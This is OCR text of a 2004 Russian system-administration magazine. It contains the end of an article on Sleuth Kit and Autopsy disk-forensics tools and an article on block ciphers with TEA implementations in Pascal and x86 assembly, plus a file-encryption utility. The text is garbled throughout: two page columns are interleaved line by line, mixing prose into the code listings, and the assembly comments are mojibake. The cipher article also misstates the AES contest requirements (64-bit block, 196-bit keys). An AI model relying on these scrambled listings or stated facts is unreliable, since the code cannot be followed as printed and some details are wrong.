чинаются на букву, соотвествуюшую тому уровню, на кото-
ром они работают. Их несколько: File System Layer – работа
с файловой системой; Content Layer (буква d – data) – фак-
тическое содержание блоков, кластеров, фрагментов; Meta
Data Layer (inode) – описывает файл или каталог, т.е. все,
что можно извлечь из inode; Human Interface Layer (file) – бо-
лее удобный уровень взаимодействия с файлами, чем при
использовании метаданных. Во многих утилитах были до-
бавлены новые опции, например, -m, позволяющая выводить т.е. команда для запуска выглядит так:
одновременно информацию и о MAC-временах; -z – для ука-
зания временного пояса, обязательной стала опция -f, пред- # ./mmls -t dos /image/system.img
назначенная для указания файловой системы. После ком-
пиляции в подкаталоге bin вы найдете 18 утилит. Для выдачи информации о состоянии конкретного бло-
ка или сектора dstat используется утилита dstat.

# ./dstat
С назначением утилит file, icat, ils, mactime, istat, fls мы
уже знакомы. Утилита ifind является новой версией
find_inode, ffind пришел на замену find_file, dcalc – blockcalc,
соответственно, dcat – bcat, dls назывался когда-то unrm,
утилиты md5 и sha1 предназначены для работы с конт-
рольными суммами в одноименных алгоритмах. Остались
незнакомыми только hfind, dstat, fsstat, mmls и sorter.
Появившаяся в Sleuth Kit v1.63 утилита mmls предназ-
начена для вывода таблицы разделов. Ее применение мо-
жет помочь в поиске «спрятанных» данных, т.к. показы-
вает, какие сектора не используются.

Ðèñóíîê 8à

№4(17), апрель 2004 59


безопасность
# ./dstat -f linux-ext3 /image/system.img 9364 Утилита hfind как раз и предназначена для поиска хеш-
функций в предварительно созданной базе. Для сравне-
ния может использоваться предварительно созданная
база, тогда ее работа в чем-то напоминает Tripwire. Но
Или для выдачи более подробной информации: наибольшая эффективность от применения будет достиг-
нута при использовании National Software Reference Library
# ./dstat -v -f linux-ext3 /image/system.img 19496 (NSRL), которую можно найти на http://www.nsrl.nist.gov/.
Проект поддержан Национальным Институтом Американ-
ского Министерства юстиции (NIJ, http://www.ojp.usdoj.gov/
nij/sciencetech/ecrime.htm), Национальным Институтом
Стандартов и Технологии (NIST) и другими подобными
организациями, и предназначен для того, чтобы эффек-
тивно использовать компьютерные технологии в рассле-
довании преступлений, инструментом которых является
компьютер. NSRL разработана, чтобы собрать программ-
ное обеспечение из различных источников и включить про-
Утилита fsstat отображает подробности, связанные с фай- фили файлов в справочный информационный набор
ловой системой. Reference Data Set (RDS).
На декабрь 2003 года NSRL обеспечил профили и циф-
# ./fsstat -f linux-ext3 /data2/bin.img ровые сигнатуры для 17 909 964 файлов. Использовав
NSRL, возможно идентифицировать критические систем-
ные файлы, которые были изменены, одним из назначе-
ний этой библиотеки является поиск программ при рас-
следовании преступлений, направленных против интел-
лектуальной собственности. Hfind проверяет значения
хеш-функции в базе данных, используя двоичный алго-
ритм поиска. Это быстрее, чем grep, но требует создания
индексного файла (опция -i).

# ./hfind -h

Применение этой утилиты очень широкое, некоторые ва-


рианты даны в man, например, для контроля за наиболее
важными системными файлами можно использовать ком-
бинацию:
Сначала создаем базу данных, используя md5sum.

# md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* ↵


/usr/local/bin/* /usr/local/sbin/* > system.md5

Теперь создаем из полученной базы индексный файл.

# ./hfind -i md5sum system.md5

До этого все программы предназначались в основном для


сбора данных, но вот анализ целиком возлагался на плечи Теперь в текущем каталоге будут находиться два файла.
исследователя, и для того, чтобы найти в нескольких гига-
байтах информации инструменты взломщика, ему потребу- # ls
ется много опыта, времени, потраченных на исследование.

60
безопасность
Проверяем, что происходит в /bin.

# md5sum /bin/* > bin.md5


# ./hfind -f bin.md5 system.md5

Как видите, с /bin/umount что-то случилось после со- Теперь в подкаталоге data появятся до тринадцати
здания базы данных, и его контрольная сумма не совпа- файлов, количество которых зависит от типов данных, и
дает. И наконец, скрипт на Perl – sorter, который анализиру- файл sorter.sum, в котором содержится суммарная инфор-
ет образ при помощи fls и icat, находит файлы, в том числе и мация о найденных файлах.
скрытые, для найденного файла запускает команду file, для
того чтобы его распознать. При использовании библиотеки # ls data
NSRL возможно отделение плохих файлов от хороших. Спи-
сок плохих тут же попадет в файл alert.txt. Опция -s позволя- Например, exec.txt содержит рассортированный по ал-
ет сохранить в указанном каталоге фактическое содержа- фавиту список исполняемых файлов, найденных в образе.
ние файла, но для этого необходимо указать при помощи
опции -С файл конфигурации, некоторые шаблоны можно
найти в каталоге sorter/sort, этот файл позволяет задать со-
ответствие между расширением и типом файла.
В каждом файле имеются поля шаблонов (конечно же,
можно добавить и свои), например:

В общем же случае работа утилиты выглядит так:

#mkdir data

# ./sorter -d data -f linux-ext3 /image/system.img

Ðèñóíîê 9

№4(17), апрель 2004 61


безопасность

Ðèñóíîê 10
жите на раздел посвободнее. После чего запускаем, оп-
ционально можно указать порт.

# ./autopsy

Как видите, утилит предостаточно, еще больше у них


опций, что, согласитесь, может запутать новичка или че- Вставив строку с URL в браузер, попадаем в окно
ловека, не привыкшего к командной строке, что требует (см. рис. 2), заметьте, доступна помощь (рис. 3).
некоторое время на освоение и сужает круг пользовате- Первоначально требуется создать базу данных об-
лей. Поэтому дополнительно к Sleuth Kit был создан инст- разов, взятых с различных компьютеров командой dd
румент визуализации Autopsy Forensic Browser (http:// или dls (unrm), на которых будут проводиться исследо-
www.sleuthkit.org/autopsy/index.php). вания. Указываем на образ, с которым будем работать.
После распаковки архива и запуска команды make, в Для этого жмем на New Case и заполняем пункты, здесь
ходе работы которой необходимо ответить на вопросы рас- необходимо ввести название и короткое описание, что-
положения Sleuth Kit, необходимости закачки библиотек бы затем можно было без проблем найти нужный об-
NSRL и пути (Evidence Locker), куда будут складываться раз.
файлы отчетов, логи и данные. Последние могут потре- После чего заполняем пункт Adding a New Host, в ко-
бовать довольно много свободного места, поэтому ука- тором указываем имя компьютера (будет затем создан

62
безопасность

Ðèñóíîê 11
подкаталог с этим именем в Evidence Locker), его корот- понравилась, зато последующая работа оставила при-
кое описание, временной пояс и опционально расхожде- ятное впечатление, все-таки намного удобнее пользо-
ние времени и путь к базам NSRL. И наконец, в Adding a ваться Autopsy Forensic Browser, по крайней мере воз-
New Image (рис. 4) заполняем данные на исследуемый можность выбора меня всегда радует.
образ. Обратите внимание, что после ввода пути к обра- Описанные выше утилиты относятся к так называе-
зу можно выбрать вариант копирования в папку Evidence мым forensic, т.е. применяются для поиска доказа-
Locker, перемещение или вариант по умолчанию – со- тельств взлома, которые затем могут быть представ-
здание симлинка. Здесь же указываем файловую систе- лены в суде. Поэтому одним из требований к ним явля-
му и точку монтирования, с которой снимался образ, если ется особо бережное отношение к данным и протоко-
известна MD5-сумма, то ее можно указать, по умолча- лирование всех действий. Также, чтобы затем не заму-
нию она будет высчитана заново, после чего будет вы- чили адвокаты, подобные утилиты проходят тщатель-
дан итог (рис. 5). ное тестирование на предмет соответствия поставлен-
Нажав Add Image, можно добавить следующий об- ной задаче. Для нас подобные разбирательства скорее
раз к базе данных. Если не нужно, то теперь можно на- исключение, чем правило, хотя, правда, это не значит,
чинать работать с образом. Например, во вкладке Image что хакеры у нас не водятся. Водятся, и в больших ко-
Details можно сразу извлечь все строки или удаленные личествах.
файлы в отдельный файл (рис. 6). А переходя к нужно- И второе применение этих утилит очевидно – сохра-
му пункту, можно получить всю необходимую информа- нение случайно или умышленно стертых данных. К со-
цию о данных, содержащихся в тех или иных блоках жалению, размер статьи разросся до неконтролируемых
(рис. 8, 8а), причем обратите внимание, доступен вы- пределов, поэтому пришлось остановиться, но в буду-
вод информации в нескольких видах (ASCII, Hex, String), щем надеюсь вернуться к этой теме. Успехов. И чтобы
добавление комментария к интересному блоку, после- вам никогда не довелось использовать подобные ути-
довательный просмотр блоков, экспорт блока в отдель- литы по назначению.
ный файл. Аналогично можно вывести список файлов
(рис. 9), данные о состоянии дисковых inode (рис. 10, Литература
11) и другую информацию, которую можно получить при 1. Мешков В. Архитектура файловой системы ext2. – //
помощи утилит Sleuth Kit. Журнал «Системный администратор». №11(12), ноябрь
Если первоначальная возня с образами мне не очень 2003 г., – 26-32с.

№4(17), апрель 2004 63


безопасность

БЛОЧНЫЕ ШИФРЫ

В данной статье приводится краткая характеристика алгоритмов симметричного и асимметричного


шифрования, рассматриваются перспективные направления развития современной криптографии,
а также приводится блок-схема и программная реализация симметричного алгоритма шифрования TEA.

СТАНИСЛАВ ГОШКО

64
безопасность
Основным методом защиты информации от угрозы нару- RIJNDAEL по условиям конкурса сняты все патентные ог-
шения ее конфиденциальности является шифрование. раничения, и сам алгоритм получил почетное второе име-
Шифрование – это процесс криптографического преоб- нование: Advanced Encryption Standard – AES.
разования информации в соответствии с определенным Симметричные алгоритмы шифрования характеризуют-
алгоритмом, при этом результат преобразования зависит ся тем, что используют один и тот же ключ как для шифро-
от используемого ключа шифрования. вания, так и для расширования информации. Таким обра-
Алгоритмы шифрования можно разделить на две ос- зом, любой обладатель ключа может получить доступ к кон-
новные категории: фиденциальной информации. Отсюда и вытекает главная
! симметричные алгоритмы шифрования; проблема использования симметричных алгоритмов – ключ
! асимметричные алгоритмы шифрования. должен быть доступен только тем, кому адресована инфор-
мация, и никому более, поэтому ключ является секретным.
Симметричные алгоритмы. Любая утечка (или даже подозрение об утечке) ключевых
Основные стандарты и проблема данных приводит к компрометации всей сети связи и тре-
использования бует немедленной замены ключей на всех узлах сети. Та-
Симметричные алгоритмы шифрования получили чрезвы- ким образом, использование симметричных алгоритмов
чайно широкое распространение благодаря высоким пока- шифрования требует наличия целой системы распределе-
зателям стойкости шифрования и простоты как в аппарат- ния ключей, которая представляет собой комплекс органи-
ной, так и в программной реализациях. Характерной осо- зационно-технических мер, направленных на предотвраще-
бенностью симметричных алгоритмов является то, что ис- ние возможности утечки и компрометации секретных клю-
ходное сообщение предварительно разбивается на блоки чей. Симметричные алгоритмы шифрования идеально под-
фиксированного размера, из-за чего эти алгоритмы получи- ходят для шифрования информации «для себя», например,
ли название блочных шифров. В качестве примеров сим- с целью предотвратить несанкционированный доступ к ней
метричных алгоритмов шифрования можно привести оте- в отсутствие владельца. Это может быть как шифрование
чественный стандарт ГОСТ 28147-89 и наиболее известный выбранных файлов, так и прозрачное шифрование целых
стандарт шифрования DES (Data Encryption Standart), дол- логических или физических дисков.
гое время являвшийся основным стандартом шифрования
в мире. Однако стремительный рост вычислительных воз- Асимметричные алгоритмы
можностей современных ЭВМ привел к тому, что взлом ал- Асимметричные алгоритмы используют сложный математи-
горитма DES методом полного перебора в реальном масш- ческий аппарат, вследствие чего являются более ресурсо-
табе времени перестал быть непосильной задачей, и соот- емкими и медленными по сравнению с симметричными ал-
ветственно криптографическая стойкость DES перестала горитмами, однако они позволяют преодолеть недостаток,
удовлетворять требованиям, предъявляемым к международ- присущий симметричным алгоритмам, за счет использо-
ному стандарту. Кроме того, появились алгоритмы, превос- вания двух ключей – открытого ключа и секретного ключа.
ходящие DES по всем параметрам. Учитывая данный факт, Открытый ключ предназначен для шифрования инфор-
Национальный институт стандартизации и технологий США мации. Любой желающий может получить доступ к откры-
(NIST, National Institute of Standards and Technology) в 1997 тому ключу и зашифровать при помощи этого ключа ин-
году объявил открытый конкурс на новый стандарт симмет- формацию. Расшифровать эту информацию можно толь-
ричного алгоритма шифрования США. Победитель конкур- ко при помощи секретного ключа, доступ к которому дол-
са получал статус нового стандарта шифрования AES жен иметь только владелец. Очевидно, что сохранить в
(Advanced Encryption Standard) и автоматически становился секрете единственный ключ, без необходимости его пе-
de-facto общемировым стандартом шифрования. редачи кому-либо, намного проще, чем организовать бе-
Требования к новому стандарту шифрования были весь- зопасную систему распределения секретных ключей, как
ма простыми: алгоритм должен иметь размер блока 64 бит в симметричных алгоритмах. Однако и здесь не все так
и поддерживать ключи шифрования длиной 128, 196 и 256 хорошо, как хотелось бы – существует угроза подмены
бит. В конкурсе принимали участие 15 алгоритмов, и толь- открытого ключа, и это приводит к тому, что вся коррес-
ко 5 из них прошли во второй этап. Все эти 5 алгоритмов понденция, направленная владельцу ключа, будет прохо-
обладали исключительной криптографической стойкостью: дить через руки злоумышленника со всеми вытекающи-
! MARS, разработка IBM; ми отсюда последствиями. Для борьбы с подменой откры-
! RC6, разработка группы ученых под руководством Ро- тых ключей создаются центры сертификации.
нальда Ривеста (Ronald Rivest), RSA Laboratories;
! RIJNDAEL, разработка двух специалистов по криптог- Перспективы развития современной
рафии из Бельгии, J.Daemen, V.Rijmen; криптографии
! SERPENT, разработка R.Anderson, E.Bihman, L.Knudsen; Наиболее перспективным направлением развития крип-
! TWOFISH, разработка компании Counterpane Security тографии с открытым ключом является использование эл-
Systems, возглавляемой Брюсом Шнайером (Bruce липтических кривых (ECC, Elliptic Curves Cryptography).
Schneier), на основе алгоритма BLOWFISH. Как сообщает Computerra (www.computerra.ru), в 2003
году Агентство национальной безопасности США купило
По итогам конкурса, новым стандартом блочного шиф- лицензию на коммерческую криптотехнологию ECC у ка-
рования был объявлен алгоритм RIJNDAEL. С алгоритма надской фирмы Certicom (http://www.certicom.com), осно-

№4(17), апрель 2004 65


безопасность
ванной в 1985 году группой ученых-математиков для ком- ма. Сеть Фейштеля несимметрична из-за использования
мерциализации своего изобретения в области шифрова- в качестве операции наложения не исключающего «ИЛИ»,
ния с открытым ключом – криптосистемы на эллиптичес- а арифметического сложения.
ких кривых, или ECC (elliptic curve cryptography). Сеть Фейштеля является модификацией метода сме-
Стойкость шифрования системы ECC базируется на шивания текущей части шифруемого блока с результатом
сложности задачи дискретного логарифмирования, при некоторой функции. Данная функция вычисляется от дру-
этом высокая стойкость криптосистемы достигается при гой независимой части блока. Этот метод часто использу-
значительно меньших длинах ключей, нежели в RSA. Со- ется, потому что обеспечивает многократное использова-
гласно рекомендациям Национального института стандар- нии ключа и материала исходного блока информации.
тов и технологий (НИСТ) США, эквивалентом 1024-битно-
го ключа RSA, к примеру, является ECC-ключ длиной все-
го 163 бита (соотношение 6:1). Причем зависимость эта
нелинейна, так что для 512-битного ключа ECC размер
аналога в системе RSA составляет уже 15360 бит (соот-
ношение 30:1). Столь выдающиеся характеристики дела-
ют ECC особенно привлекательной для применения в тех
аппаратных условиях, где предъявляются строгие ограни-
чения на размер памяти и объем допустимых вычисли-
тельных ресурсов (устройства типа смарт-карт).
Широкому внедрению ECC долго мешала слабая изу-
ченность математического фундамента криптосистемы, но
поскольку двадцать лет серьезнейших исследований не
выявили в технологии слабостей, сегодня, по мнению мно-
гих криптографов, ее можно считать вполне зрелой. Оче-
видным подтверждением тому стал и нынешний выбор
АНБ, за 25 млн. долларов купившего у Certicom неэкск-
люзивную лицензию на эллиптические кривые и, если
верить сообщениям, намеренного использовать в своих
шифрсредствах 512-битные ключи ECC. По условиям кон-
тракта АНБ получило права на сублицензирование техно-
логии своим собственным клиентам, имеющим дело с
национальной безопасностью.
В разное время лицензии на ECC приобрели более
трехсот фирм, включая Cisco Systems, Motorola, Oracle, Ðèñóíîê 1. Ñõåìà ðàáîòû àëãîðèòìà TEA
Palm и Texas Instruments. Недостатком алгоритма является некоторая медлитель-
Еще одно перспективное направление современной ность, вызванная необходимостью повторять цикл Фейш-
криптографии – квантовая криптография. Это направле- теля 32 раза (это необходимо для тщательного «переме-
ние позволяет обеспечить безопасную передачу ключе- шивания данных» из-за отсутствия табличных подстановок).
вых данных по волоконно-оптическому кабелю. Суть зак- Рассмотрим примеры реализации данного алгоритма
лючается в следующем: информация о ключе кодируется на языках Паскаль и ассемблере.
в одном-единственном фотоне света, который затем пе- Рассмотрим листинг на языке Паскаль (tea.pas):
редается получателю. Согласно законам квантовой фи-
зики, невозможно измерить один параметр фотона, не const Delta=$9E3779B9;
исказив при этом другой. Поэтому попытка перехвата клю- procedure EnCrypt(var y,z:longword; k0,k1,k2,k3:longword);
ча неминуемо спровоцирует нарушения в квантовой сис- var a,sum:longword;
begin
теме и приведет к искажению передаваемой информации. sum:=0;
Таким образом, факт проникновения в систему можно for a:=0 to 31 do
begin
достаточно легко установить, а обменивающимся сторо- inc(sum,Delta);
нам придется только повторить сеанс связи с другим клю- inc(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));
inc(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));
чом (www.computerra.ru). end;
end;
Алгоритм TEA procedure DeCrypt(var y,z:longword; k0,k1,k2,k3:longword);
Алгоритм TEA (Tiny Encryption Algorithm) относится к клас- var a,sum:longword;
begin
су симметричных алгоритмов. Этот алгоритм был разра- sum:=Delta shl 5;
ботан в Кембриджском университете как классическая сеть for a:=0 to 31 do
begin
Фейштеля с оптимизацией под 32-разрядные микропроцес- dec(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3));
соры. Размер блока – 64 бит, длина ключа – 128 бит. dec(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1));
dec(sum,Delta);
В алгоритме использована сеть Фейштеля с двумя вет- end;
вями в 32 бита каждая. Образующая функция F обрати- end;

66
безопасность
Рассмотрим листинг на ассемблере (tea_128.asm): pop edi ; Âûíèìàåì èç ñòåêà edi
mov v0,ebx ; Êëàäåì ðåçóëüòàòû
; øèôðîâàíèÿ â îòâåä¸ííîå
;--------------------------------------------------------; mov v1,ecx ; äëÿ íèõ ìåñòî
; BUFFER TO ENCRYPT -> EDX ; ret ; Âîçâðàò èç ïîäïðîãðàììû
; KEY TO ENCRYPT -> EAX ; ;-------------------------------------------------------;
; SIZE OF BUFFER (div 4 = 0) -> ECX ; Decrypt:
;--------------------------------------------------------; push edi ; Ñîõðàíÿåì edi â ñòåêå
total_encrypt: mov ebx,v0 ; Êëàäåì â ebx ïåðâûå
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ; 32 áèòà äàííûõ
mov ecx,v1 ; Â ecx êëàäåì âòîðûå
mov esi,eax ; Êëàäåì â esi – eax ; 32 áèòà äàííûõ
mov edi,edx ; Êëàä¸ì â edi – edx mov edx,9e3779b9h ;  edx -> sqr(5)-1 * 231
work__: mov eax,edx ; Êëàäåì â eax – ed
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå shl eax,5 ; Ñäâèã eax âëåâî íà 5 áèò
call Encrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ mov edi,32 ; Êëàäåì â edi – 32
popa ; Âîññòàíàâëèâàåì èç ñòåêà DLoopR:
mov ebp,ebx ; Êëàäåì â ebp – ebx
add edi,8 ; Äîáàâëÿåì ê edi – 8 shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî
sub ecx,7 ; Îòíèìàåì îò ecx – 7 sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
loop work__ ; Ïðîäîëæàåì øèôðîâàòü mov ebp,k2 ; Êëàäåì â ebp òðåòüè
; 32 áèòà êëþ÷à
popa ; Âîññòàíàâëèâàåì èç ñòåêà xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx
ret ; Âîçâðàò èç ïîäïðîãðàììû sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
;--------------------------------------------------------; mov ebp,ebx ; Êëàäåì â ebp – ebx
; BUFFER TO DECRYPT -> EDX ; shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
; KEY TO DECRYPT -> EAX ; xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax
; SIZE OF BUFFER (div 4 = 0) -> ECX ; sub ecx,ebp ; Îòíèìàåì îò ecx – ebp
;--------------------------------------------------------; sub ecx,k3 ; Îòíèìàåì îò ecx –
total_decrypt: ; ÷åòâ¸ðòûå 32 áèòà êëþ÷à
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ;
mov ebp,ecx ; Êëàäåì â ebp – ecx
mov esi,eax ; Êëàä¸ì â esi – eax shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî
mov edi,edx ; Êëàä¸ì â edi – edx sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
work2__: mov ebp,k0 ; Êëàäåì â ebx ïåðâûå
pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå ; 32 áèòà êëþ÷à
call decrypt ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ xor ebp,ecx ; Ñðàâíèâàåì ebp ñ eñx
popa ; Âîññòàíàâëèâàåì èç ñòåêà sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
mov ebp,ecx ; Êëàä¸ì â ebp – ecx
add edi,8 ; Äîáàâëÿåì ê edi – 8 shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
sub ecx,7 ; Îòíèìàåì îò ecx – 7 xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax
loop work2__ ; Ïðîäîëæàåì øèôðîâàòü sub ebx,ebp ; Îòíèìàåì îò ebx – ebp
sub ebx,k1 ; Îòíèìàåì îò ebx –
popa ; Âîññòàíàâëèâàåì èç ñòåêà ; âòîðûå 32 áèòà êëþ÷à
ret ; Âîçâðàò èç ïîäïðîãðàììû sub eax,edx ; Îòíèìàåì îò eax – edx
;--------------------------------------------------------; dec edi ; Óìåíüøàåì edi íà åäèíèöó
Encrypt: jnz DLoopR ; Äåøèôðóåì äàëüøå
push edi ; Ñîõðàíÿåì edi â ñòåêå
mov ebx,v0 ; Êëàäåì â ebx ïåðâûå pop edi ; Âûíèìàåì èç ñòåêà edi
; 32 áèòà äàííûõ mov v0,ebx ; Êëàä¸ì ðåçóëüòàòû
mov ecx,v1 ;  ecx êëàäåì âòîðûå ; øèôðîâàíèÿ â îòâåä¸ííîå
; 32 áèòà äàííûõ mov v1,ecx ; äëÿ íèõ ìåñòî
xor eax,eax ; Îáíóëÿåì eax ret ; Âîçâðàò èç ïîäïðîãðàììû
mov edx,9e3779b9h ; Â edx -> sqr(5)-1 * 231 ;-------------------------------------------------------;
mov edi,32 ; Êëàäåì â edi - 32 v0 equ dword ptr [edi]
ELoopR: v1 equ dword ptr [edi+4]
add eax,edx ; Äîáàâëÿåì ê eax – edx k0 equ dword ptr [esi]
mov ebp,ecx ; Êëàä¸ì â ebp – ecx k1 equ dword ptr [esi+4]
shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî k2 equ dword ptr [esi+8]
add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp k3 equ dword ptr [esi+12]
mov ebp,k0 ; Êëàä¸ì â ebx ïåðâûå
; 32 áèòà êëþ÷à
xor ebp,ecx ; Ñðàâíèâàåì èõ ñî âòîðûìè Как вы могли заметить, алгоритм довольно-таки про-
; 32 áèòàìè äàííûõ стой и легко реализуем на ассемблере. Теперь на базе
add ebx,ebp ; Äîáàâëÿåì ê ïåðâûì
; 32 áèòàì äàííûõ ðåçóëüòàò данного алгоритма разработаем утилиту для шифрова-
mov ebp,ecx ; Êëàä¸ì â ebp – ecx ния файлов, ориентированную на ОС Windows.
shr ebp,5 ; Äåëèì ebp íà 32
xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax Рассмотрим листинг (fencu.asm):
add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp
add ebx,k1 ; Äîáàâëÿåì ê ebx – âòîðûå .386
; 32 áèòà êëþ÷à .model flat, stdcall
;
mov ebp,ebx ; Êëàäåì â ebp – ebx callx macro x ;
extrn x:proc ; Ìàêðîñ äëÿ óïðîùåíèÿ
shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî call x ; èñïîëüçîâàíèÿ WIN API
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp
mov ebp,k2 ; Êëàäåì â ebp òðåòüè endm ;
; 32 áèòà êëþ÷à .data
xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp start:
;--------------------------------------------------------;
mov ebp,ebx ; Êëàäåì â ebp – ebx push offset usage__ ;
shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò
xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax callx printf ; Âûâîäèì ñîîáùåíèå
; îá èñïîëüçîâàíèè äàííîé
add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp add esp,4 ; ïðîãðàììû
add ecx,k3 ; Äîáàâëÿåì ê ecx –
; ÷åòâ¸ðòûå 32 áèòà êëþ÷à callx GetCommandLineA ; Ïîëó÷àåì êîìàíäíóþ ñòðîêó
dec edi ; Óìåíüøàåì edi íà åäèíèöó mov esi,eax ; Ïîìåùàåì óêàçàòåëü íà
jnz ELoopR ; Øèôðóåì äàëüøå
; êîìàíäíóþ ñòðîêó â esi

№4(17), апрель 2004 67


безопасность
call t__ ; Ïîëó÷àåì óêàçàòåëü mov mHnd2,eax ; Ñîõðàíÿåì óêàçàòåëü
; íà ïåðâûé ïàðàìåòð ; íà ïàìÿòü
cmp flag,1 ;
lodsw ; Çàãðóæàåì ïàðàìåòð â ax je d2__ ;
cmp ax,'E-' ; Ïðîâåðÿåì – ìû áóäåì øèôðîâàòü? lea ebx,total_decrypt ; Ïðîâåðÿåì, êàêàÿ
jne d__ ; Íåò, èäåì íà ñëåäóþùóþ ïðîâåðêó ; íàì ôóíêöèÿ íóæíà:
mov flag,1 ; Óñòàíàâëèâàåì ôëàã â 1 jmp d3__ ; øèôðîâêè èëè äåøèôðîâêè
jmp w__ ; È ïåðåõîäèì ê øèôðîâàíèþ d2__: ; è êëàäåì å¸ ñìåùåíèå â ebx
d__: ; lea ebx,total_encrypt ;
cmp ax,'D-' ; Ïðîâåðÿåì – ìû áóäåì äåøèôðîâàòü? d3__:
jne ex__ ; Íåò, èäåì íà âûõîä pop esi ; Ïîëó÷àåì óêàçàòåëü
mov flag,2 ; call t__ ; íà íàø 128 áèòíûé êëþ÷
w__:
call f_open ; Ðàáîòàåì ñ ôàéëîì mov edx,mHnd2 ; Äåøèôðóåì äàííûå
ex__: mov eax,esi ; íàøèì êëþ÷îì (128 áèò)
mov al,flag ; Ïîìåùàåì â al – ôëàã mov ecx,sz_ ; sz_ áàéò – äëèíà äàííûõ
test al,al ; Ïðîâåðÿåì åãî call ebx ;
jnz ex2__ ; Åñëè âñ¸ íîðìàëüíî, òî íà âûõîä
push mHnd2 ;
push offset invalid1_ ; callx UnmapViewOfFile ; Çàêàí÷èâàåì èçìåíåíèå
callx printf ; Âûâîäèì ñîîáùåíèå îá îøèáêå ; ôàéëà â ïàìÿòè è êëàä¸ì
add esp,4 ; ; åãî îáðàòíî
ex2__: error3_:
push 0 ; push mHnd ;
callx ExitProcess ; Çàâåðøåíèå ïðîöåññà callx CloseHandle ; Çàêðûâàåì ïàìÿòü
;--------------------------------------------------------; error2_:
t__: ; push fHnd ;
lodsb ; Ïðîâåðÿåì âñå ñèìâîëû íà ðàâåíñòâî callx CloseHandle ; Çàêðûâàåì ôàéë
cmp al,20h ; ïðîáåëó. Åñëè íàøëè ïðîáåë, òî error_:
jne t__ ; òåïåðü esi óêàçûâàåò íà argv[1] popa ; Âûíèìàåì âñ¸ èç ñòåêà
ret ret ; Âîçâðàò èç ïîäïðîãðàììû
;--------------------------------------------------------; ;--------------------------------------------------------;
f_open: fHnd dd 0 ;
pusha ; Ñîõðàíÿåì âñå â ñòåêå sz_ dd 0 ;
call t__ ; Íàõîäèì èìÿ ôàéëà mHnd dd 0 ;
push esi ; Ñîõðàíÿåì óêàçàòåëü â ñòåêå s2read dd 0 ; Äàííûå
call t__ ; Íàõîäèì ñëåäóþùèé ïàðàìåòð mHnd2 dd 0 ;
dec esi ; Ïåðåõîäèì íà ðàçäåëÿþùèé ïðîáåë flag db 0 ;
mov byte ptr[esi],0 ; È çàìåíÿåì åãî íóëåì
pop esi ; Âîññòàíàâëèâàåì óêàçàòåëü èç ñòåêà usage__:
push esi ; È òóò æå êëàäåì åãî îáðàòíî â ñòåê db '|----------------------------------------------|',0ah,0dh
db '| [FILE ENCRYPTION UTILITE (BASED ON TEA) BY SLON] |',0ah,0dh
xor eax,eax ; db '|----------------------------------------------|',0ah,0dh
push eax ; db '| USAGE: FENCU.EXE [-D OR -E] [FILENAME] [128 BIT KEY] |',0ah,0dh
push 00000080h ; db '| -D : DECRYPT FILE |',0ah,0dh
push 3 ; db '| -E : ENCRYPT FILE |',0ah,0dh
push eax ; db '| EXAMPLE: FENCU.EXE -E HELLO.TXT 1234567890abcdef |',0ah,0dh
push 00000001h OR 00000002h ; db '|----------------------------------------------|',0ah,0dh
push 40000000h OR 80000000 ; db 0ah,0dh,0
push esi ; Îòêðûâàåì ñóùåñòâóþùèé
callx CreateFileA ; ôàéë (esi) invalid1_:
db '[INVALID PARAMETER, EXITING ...]',0ah,0dh,0
inc eax ; file_err_:
test eax,eax ; Åñëè âîçíèêëà îøèáêà, òî db '[FILE ERROR, EXITING ...]',0ah,0dh,0
jnz g__ ; ïåðåõîäèì íà error_ ;--------------------------------------------------------;
push offset file_err_ ; è âûâîäèì include tea_128.asm
callx printf ; ñîîáùåíèå ;--------------------------------------------------------;
add esp,4 ; .code
g__: nop
dec eax ; Óìåíüøàåì eax íà 1 end start

mov fHnd,eax ; Ñîõðàíÿåì õýíäë ôàéëà end


push s2read ; Итак, к чему мы пришли в итоге – мы смогли написать
push eax ; утилиту, которая шифрует файлы по алгоритму TEA на ос-
callx GetFileSize ; Ïîëó÷àåì åãî ðàçìåð
mov sz_,eax ; è ñîõðàíÿåì åãî â sz_ нове 128-битного ключа. Вскрытие таких файлов нельзя
; Âûäåëÿåì ïàìÿòü назвать невозможным, но можно назвать крайне трудоем-
push 0 ; èìÿ ôàéëà õýíäë = 0
push sz_ ; ìàêñèìàëüíûé ðàçìåð = memory ким и времениемким, базируясь на текущих разработках.
push 0 ; ìèíèìàëüíûé ðàçìåð = 0 Данную утилиту можно было бы оптимизировать та-
push 4 ; äîñòóï ÷òåíèå/çàïèñü
push 0 ; ким образом, чтобы ключи хранить на дискете. При этом
push fHnd ; необходимо обеспечить безопасное хранение этой дис-
callx CreateFileMappingA ;
кеты, чтобы она не попала в руки злоумышленника. Кро-
